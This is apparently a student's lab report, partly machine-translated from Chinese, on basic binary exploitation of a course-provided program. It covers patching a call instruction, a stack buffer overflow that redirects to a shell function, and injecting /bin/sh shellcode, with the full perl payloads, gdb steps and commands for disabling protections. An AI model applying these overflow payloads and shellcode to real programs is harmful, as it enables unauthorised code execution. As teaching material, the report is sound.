2020-2 against network technology 20175120 exp1 reverse and Bof the basis of practice

Practice what

Manually modify the executable file, changing the program execution flow, jump directly to getShell function.

Bof using the function foo vulnerability, an attacker construct input string, overwriting the return address, trigger getShell function.

Injecting a shellcode to produce their own and run this shellcode.


Ready to practice

  1. Download the code from the cloud pwn1.zip to PC, moved to set their own shared folders , a virtual machine to facilitate subsequent use.

  2. Operation sudo apt-get install libc6-dev-i386to ensure that the subsequent 32-bit error-run

  3. A sudo suswitch to the root user. Facilitate subsequent instruction operation


Knowledge point description

1. Master NOP, JNE, JE, JMP, CMP compiled machine code instructions

NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”

This practice may be used only for the above machine code, see specific assembly instructions and machine code corresponding to the table


Practice a manually modify executable files, change the program execution flow, jump directly to getShell function.

Instruction address by modifying the main target in the call, the destination address was changed from the original foo getShell we need

For pwn1executable files disassemble objdump -d pwn1 | more, view call a command position, foo address, getShell address

Can be found mainin the callinstructions, see the foojump address 8048491<foo>, getShelladdress804847d

While the machine code corresponding to the call instruction can be seen e8 d7 ff ff ff, where e8the representative call, the next four hexadecimal numbers represents the foofunction address

It can be calculated as a function address getShell0xffffffd7+(0x804847d-0x8048491)=0xffffffc3

Next, we need to call the return address of the function of the machine code d7 ff ff ffchangec3 ff ff ff

We need to use the vieditor, vi pwn1enter the ASCII code page, enter :%!xxdthe file is converted to hexadecimal

We can enter the /d7Find foofunction corresponding to the position

You can see that the first position we search appeared e8 d7 ff ff ffthat is found fooposition

Next, we d7changed to c3be able to achieve getShella jump

Running about pwn1

An error has occurred here, because this is not a hexadecimal form converted to ASCII code, you need to enter %!xxd -r, after the successful attack


Practice using the two function foo Bof vulnerability, an attacker construct input string, overwriting the return address of the function trigger getShell

Exploit buffer overflow vulnerability, the foofunction corresponds to the return address coverage, we want to become the getShellreturn address

Determine which of several characters in the input string to overwrite the return address

It should be used gdbwith apt-get install gdbthe installation, open gdb, debugging

According to the example provided by the teacher, first with 1111111122222222333333334444444412345678test input string of several characters which will cover the return address

Eip can see the address stored in the register is changed 0x35353535, 34 33 32 31it is the 4 3 2 1ASCII code, it may determine the position of the input string is covered 29-32bits

Confirm what value overwrite the return address

Construction of the input string

getShell的内存地址,通过反汇编时可以看到,即0804847d。

对比之前结果,字符串为11111111222222223333333344444444\x7d\x84\x04\x08

由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。

\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

使用perl:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input将字符串存入input中

将input输入到pwn1中,实现攻击:(cat input; cat) | ./pwn1


实践三 注入一个自己制作的shellcode并运行这段shellcode

在确保注入条件具备时,将Shellcode注入到可执行文件中,实现攻击

准备注入条件

apt-get install execstack安装execstack

1.设置堆栈可执行(-为开启,X为关闭)

2.关闭地址随机化(2为开启,0为关闭)

构造Shellcode

构造Shellcode有两种模式,根据实际缓冲区大小以及Shellcode长度选取,这里选择nops+shellcode+retaddr,即Shellcode在返回地址之前

寻找Shellcode返回地址

用perl构造输入字符串:(由于返回地址未确定就先用\x4\x3\x2\x1表示)

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开一个终端运行pwn1(先不要回车)

在另一个终端打开gdb(这里记得要切换root权限,否则attach会失败)

输入ps -ef | grep pwn1查看进程号,我这里是2299

开启gdb:gdb,调试进程:attach 2299

通过设置断点,来查看注入buf的内存地址

首先要得到函数的retaddr,则反汇编:disassemble foo得到ret地址为0x080484ae

然后设置断点:break *0x080484ae,输入c开始运行

接下来到另一个终端回车,使程序往下执行至断点

此时查看esp寄存器地址:0xffffd2dc

输入x/16x 0xffffd2dc,以十六进制查看0xffffd2dc后续16字节内容

得到我们定义的Shellcode返回地址\x4\x3\x2\x1位于0xffffd2dc后四位,即得到Shellcode真实返回地址0xffffd2dc+0x00000004=0xffffd2e0,退出gdb

然后用已知的返回地址替代原来的\x4\x3\x2\x1

构建字符串:
perl -e 'print "A" x 32;print"\xe0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

重新注入:(cat input_shellcode;cat) | ./pwn1,实施攻击


实践中遇到的问题

1.在进行工具获取sudo apt-get install libc6-dev-i386时,获取失败

一开始我ping www.baidu.com 告诉我域名解析失败,我就根据网上的解决方案把etc下面的配置改了,后来发现网络联不通,我就把原来的配置改回来了。etn0网卡也没了,根据新的方案重新联网,就可以安装了。

2.在gdb中切入进程时attach 进程号总是错误

发现是因为我没有切入root权限导致的,用sudo su就解决了

3.出现fatal error: sys/cdefs.h: 没有那个文件或目录

我一开始没有安装32位编译器,就失败了,后来在CSDN博客中找到指令


实践感受

这次实践总体来说比较顺利,虽然其中大大小小的问题不胜枚举,但我还是通过不断解决问题,圆满的做出来了。跟着老师的视频走,实践的大致思路有了,但还有几个细节不是很理解,如在实践三中构建的Shellcode是如何构造出来的等。这次实践让我收获良多,我理解了三种基础攻击的原理:修改机器指令、实施缓冲区溢出攻击、进行Shellcode注入。通过实际的操作我也进一步感受到了网络攻防的基本步骤,对于网络攻防有了更深入的体会,也产生了更多的学习兴趣。

什么是漏洞?漏洞有什么危害?

漏洞定义:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

漏洞危害数不胜数,以下我仅列举SQL注入的对网络造成的部分危害:

数据库信息泄漏:数据库中存储的用户隐私信息泄露。
网页篡改:通过操作数据库对特定网页进行篡改。
网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
破坏硬盘数据,瘫痪全系统。
XSS跨站脚本漏洞的危害包括但不限于:
钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript以监控目标网站的表单输入,甚至发起基于DHTML更高级的钓鱼攻击方式。
网站挂马:跨站后利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS可以盗取用户的Cookie,从而利用该Cookie获取用户对该网站的操作权限。如果一个网站管理员用户Cookie被窃取,将会对网站引发巨大的危害。
盗取网站用户信息:当能够窃取到用户Cookie从而获取到用户身份时,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
垃圾信息发送:比如在SNS社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群体。
劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,监视用户的浏览历史,发送与接收的数据等等。
XSS蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。

除此之外还有很多危害,包括对破坏电脑硬件的病毒CIH,破坏网络可用性的拒绝服务攻击,随着时代的发展,攻击方式不断更新换代,漏洞类型也在不断增加,所谓网络攻防,盾也要和矛齐头并进,这样才能为越来越多的计算机使用者提供一个安全可靠的计算机使用环境。

Guess you like

Origin www.cnblogs.com/1751-pyc/p/12405896.html